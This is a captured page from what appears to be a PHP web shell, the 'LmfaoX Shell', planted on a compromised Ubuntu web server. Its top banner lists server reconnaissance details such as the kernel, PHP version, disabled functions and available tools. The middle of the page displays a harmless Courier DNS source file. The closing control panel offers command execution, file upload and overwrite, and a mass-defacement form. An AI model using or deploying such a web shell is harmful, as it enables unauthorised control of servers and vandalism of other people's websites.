ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:22.53 GB of 70.42 GB (31.99%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ rfc1035/ - drwxrwxrwx

Directory:
Viewing file:     rfc1035str.c (2.39 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
** Copyright 1998 - 1999 Double Precision, Inc.
** See COPYING for distribution information.
*/

#include    "rfc1035.h"
#include    <string.h>


static struct { const char *name; int num; } typetab[]={
    {"A",        1},
    {"NS",        2},
    {"MD",        3},
    {"MF",        4},
    {"CNAME",    5},
    {"SOA",        6},
    {"MB",        7},
    {"MG",        8},
    {"MR",        9},
    {"NULL",    10},
    {"WKS",        11},
    {"PTR",        12},
    {"HINFO",    13},
    {"MINFO",    14},
    {"MX",        15},
    {"TXT",        16},
    {"AAAA",    28},
    {"AXFR",    252},
    {"MAILB",    253},
    {"MAILA",    254},
    {"ANY",        255}},

    classtab[]={

    {"IN",        1},
    {"CSNET",    2},
    {"CHAOS",    3},
    {"HESIOD",    4},
    {"ANY",        255}},

    opcodetab[]={
    {"QUERY",    0},
    {"IQUERY",    1},
    {"STATUS",    2}},

    rcodetab[]={
    {"NOERROR",    0},
    {"FORMAT",    1},
    {"SERVFAIL",    2},
    {"NXDOMAIN",    3},
    {"UNIMPLEMENTED", 4},
    {"REFUSED",    5}};

#if HAVE_STRCASECMP
#define    COMPARE(a,b)    strcasecmp((a), (b))
#else
#define    COMPARE(a,b)    stricmp((a), (b))
#endif

const char *rfc1035_type_itostr(int n)
{
unsigned i;

    for (i=0; i<sizeof(typetab)/sizeof(typetab[0]); i++)
        if (typetab[i].num == n) return (typetab[i].name);
    return ("unknown");
}

int rfc1035_type_strtoi(const char *n)
{
unsigned i;

    for (i=0; i<sizeof(typetab)/sizeof(typetab[0]); i++)
        if (COMPARE(typetab[i].name, n) == 0) return (typetab[i].num);
    return (-1);
}

const char *rfc1035_class_itostr(int n)
{
unsigned i;

    for (i=0; i<sizeof(classtab)/sizeof(classtab[0]); i++)
        if (classtab[i].num == n) return (classtab[i].name);
    return ("unknown");
}

int rfc1035_class_strtoi(const char *n)
{
unsigned i;

    for (i=0; i<sizeof(classtab)/sizeof(classtab[0]); i++)
        if (COMPARE(classtab[i].name, n) == 0) return (classtab[i].num);
    return (-1);
}

const char *rfc1035_opcode_itostr(int n)
{
unsigned i;

    for (i=0; i<sizeof(opcodetab)/sizeof(opcodetab[0]); i++)
        if (opcodetab[i].num == n) return (opcodetab[i].name);
    return ("unknown");
}

int rfc1035_opcode_strtoi(const char *n)
{
unsigned i;

    for (i=0; i<sizeof(opcodetab)/sizeof(opcodetab[0]); i++)
        if (COMPARE(opcodetab[i].name, n) == 0)
                return (opcodetab[i].num);
    return (-1);
}

const char *rfc1035_rcode_itostr(int n)
{
unsigned i;

    for (i=0; i<sizeof(rcodetab)/sizeof(rcodetab[0]); i++)
        if (rcodetab[i].num == n) return (rcodetab[i].name);
    return ("unknown");
}

int rfc1035_rcode_strtoi(const char *n)
{
unsigned i;

    for (i=0; i<sizeof(rcodetab)/sizeof(rcodetab[0]); i++)
        if (COMPARE(rcodetab[i].name, n) == 0)
                return (rcodetab[i].num);
    return (-1);
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3363 seconds